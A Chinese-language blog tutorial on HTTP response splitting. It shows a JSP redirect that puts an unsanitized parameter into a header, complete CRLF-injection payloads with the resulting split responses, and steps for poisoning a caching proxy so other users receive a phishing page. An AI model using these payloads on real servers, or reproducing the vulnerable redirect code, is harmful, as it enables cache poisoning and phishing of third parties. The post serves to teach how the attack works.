深入浅出http拆分攻击

最新推荐文章于 2024-07-27 00:20:11 发布

琦家大少

最新推荐文章于 2024-07-27 00:20:11 发布

阅读量1.9k

点赞数 1

分类专栏： http 文章标签： http 拆分攻击深入浅出浅谈 spliding

本文链接：https://blog.csdn.net/rainZuoShao/article/details/9088575

版权

http 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

以前习惯了些微博，和本地的读书笔记。这是入驻csdn博客后的第一篇文章。

旨在于听取大家对问题的讨论，所谓集众的智慧。

再有分享一下自己的学习和研究心得，帮助存在同样需求的朋友。

下面言归正传，今天讨论的问题主要是http协议的，响应头拆分攻击。

众所周知，http协议通常情况是一个请求，对应着一个应答。

当然就像是一加一在算错的情况下还可以等于2。http请求在被攻击的时候也能由客户端控制一个请求包含两个应答。

http状态码中有个我们熟悉的302，意为 Moved Temporarily。说起http拆分攻击，就不得不想回想一下，302的过程。

1）就像是我们给一个喜欢的女孩表白，我们本来以为她住在二楼一号宿舍，我们冲着那个宿舍大喊，“安红”（化名）我想你。

2）结果我们收到的反馈，“对不起，安红住在三楼一号宿舍”。

3）收到这个回复，虽然小羞愧，但是为了伟大的爱情，我们果断的转向三楼一号宿舍大喊“安红，我想你”。

4）这时候安红真的收到了消息，这才是我们想要的反馈，拒绝也好答应也好，总之这就是我们先要的反馈。

http的302过程非常类似上面的过程。

1）我们向服务器发送Get或者Post请求。

2）服务器返回 302 Moved Temporarily，并且通过location字段告知我们应该请求哪个页面。

3）客户端收到服务器的响应后，立刻向location指向的字段再次发送请求。

好的，到此为止，我们知道的http302的基本过程，那么说一下我们期待已久的http拆分攻击吧。

HTTP响应头攻击把代码嵌入到用户信息中并放在HTTP头部，也发生在把用户信息和代码嵌入到重定向到的URL中，或者把脚本嵌入到cookie值或者name里。在第一条响应中，重定向的URL是HTTP响应头的一部分，第二条响应是确定cookie，cookie中的name/value是响应头中set-cookie的一部分。
由于攻击的特殊性，在实现攻击前，我们先来了解一下这两个字符的编码：
CR = %0d = /r
LF = %0a = /n
比如，我们考虑以下jsp页面(/isno.jsp)，内容如下：
<%
response.sendRedirect("/isno.jsp?lang="+request.getParameter("lang"));
%>
假如使得parmeter lang=ivory，程序将会重定向到/isno.jsp?lang=ivory。通常一个标准的HTTP请求会如下：
HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 12:53:28 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=ivory/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwBE!-
1251019693; path=//r/n
Connection: Close/r/n
<html><head><title>302 Moved Temporarily</title></head>/r/n
<body bgcolor="#FFFFFF">/r/n
This document you requested has moved temporarily./r/n
It's now at <a
href="http://192.168.0.1/isno.jsp?lang=ivory">http://192.168.0.1/isno.jsp?lang=ivory</a>./r/n</body>/r/n</html>/r/n
这样我们能清楚的看出lang所赋的值被嵌入在Location响应头中。
好，我们来实行HTTP响应头攻击，再将lang赋值，这次并不是ivory，而是给另外一个东西。
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
这样的话，HTTP将会如下发送：
HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
<html>I’m%20isno!</html>/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!-
1251019693; path=//r/n
Connection: Close/r/n
<html><head><title>302 Moved Temporarily</title></head>/r/n
<body bgcolor="#FFFFFF">/r/n
This document you requested has moved temporarily./r/n
It's now at <a href="http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
<html>I’m%20isno!</html>">http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
<html>I’m%20isno!</html></a>./r/n
</body></html>/r/n
不同的地方我用颜色标识出来了，但是这里我还是作一些解释：
这里提交了两个请求，第一个指向的URL是
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
第二个指向的URL是
/index.html
这样服务器会给第一个请求匹配到第一个响应：
HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
对第二个请求(/index.html)自动匹配到第二个响应：
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
<html>I’m%20isno!</html></a>./r/n
</body></html>/r/n
这样，攻击者就成功的愚弄了服务器。我们可以看出，上面这个例子非常的简单而且无知，但是是最简单的利用方法，当然实际的情况会更复杂，更会出现一些问题，我们将在下面的部分讨论实战中要考虑到的因素。

看到这里你可能会有疑问，第二个指向的URL是/index.html是怎么回事？

以下是我从另一篇博客中摘抄过来的东西。恰红解决了我的疑惑。

现在请仔细阅读…因为这部分正是大多数人（连我自己在很长一段时间内也是如此）没有搞清楚的内容。为了处理第二个挂起中的响应，攻击者会迅速对服务器上的页面发送一条有效的公开访问（通常是这样）请求，比如说branches.html。

这里假设他发送的请求为：

GET /branches.html HTTP/1.1
Host: www.abc.com

就在发出首个包含"可完全自定内容"参数的请求之后，他会旋即发出上述第二条请求，而这也正是"Hello, you have been phished"字段的映射对象。两条请求对应两次响应，大家明白了吗？

哈哈，恐怕各位还是有些困惑。尽管大家可能已经了解整个映射的发生过程，但仍然没闹明白这种攻击是如何影响其他人的。毕竟，攻击者的这一切行动都发生在他自己的计算机上，所修改的请求也只限于他个人…也就是说，会受影响的只有他自己。说实话，为什么攻击者要对自身展开攻势？这似乎毫无道理可言啊。不过我要指出的是，这对位于中间帧及缓存中的代理服务器或者某些设备而言，可以说是接纳请求及响应的关键性一环。

攻击者必须躲在代理服务器之后，并借助代理将他的请求发送到互联网上的目标服务器处。如果他想感染其它用户，这些被害用户也必须处于同样的代理服务器之后。因此，让我们再来总结一次（请保持耐性…）

a)攻击者发送一条包含一个值及两次响应的请求，使用%0d%0a进行分隔。在本文的例子中，请求的内容如下：

http://www.abc.com/index.php?lang=german%0d%0aContent- Length:%200%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2041%0d%0aHello, you have been phished

b)该请求的发送目的地为www.abc.com…不过重要的是，它是通过中间代理服务器进行传递的。因此现在在代理服务器上，第一个请求被映射在第一次响应上，而第二次响应则由于没有能够匹配的请求而处于挂起状态。

c)在首个请求发出后，攻击者会立即向目标网站（同样通过代理服务器）发出新请求（第二个请求），内容如下：

GET /branches.html HTTP/1.1
Host: www.abc.com

d)代理服务器会在收到branches.html后，第一时间将其映射至第二次响应中（即'You have been phished '）。因此接下来发往branches.html的请求将不再显示银行的分支机构名单，而是指向恶意网页。没错，对于每位访问者毕竟是如此，而不仅仅针对攻击者。为什么会这样？因为这正是缓存代理服务器的处理方式…常发请求缓存响应。也就是说，如果某个发往branches.html的请求始终产生同一份关于银行支行信息的静态列表，那么代理服务器几乎肯定会调用缓存对该请求进行响应。换言之，下一次指向branches.html的请求将自动返回来自缓存的响应。而在攻击者的安排下，代理服务器的缓存内容遭受感染，并被迫返回恶意响应而非原本的静态列表……这种状况将持续下去直到缓存过期。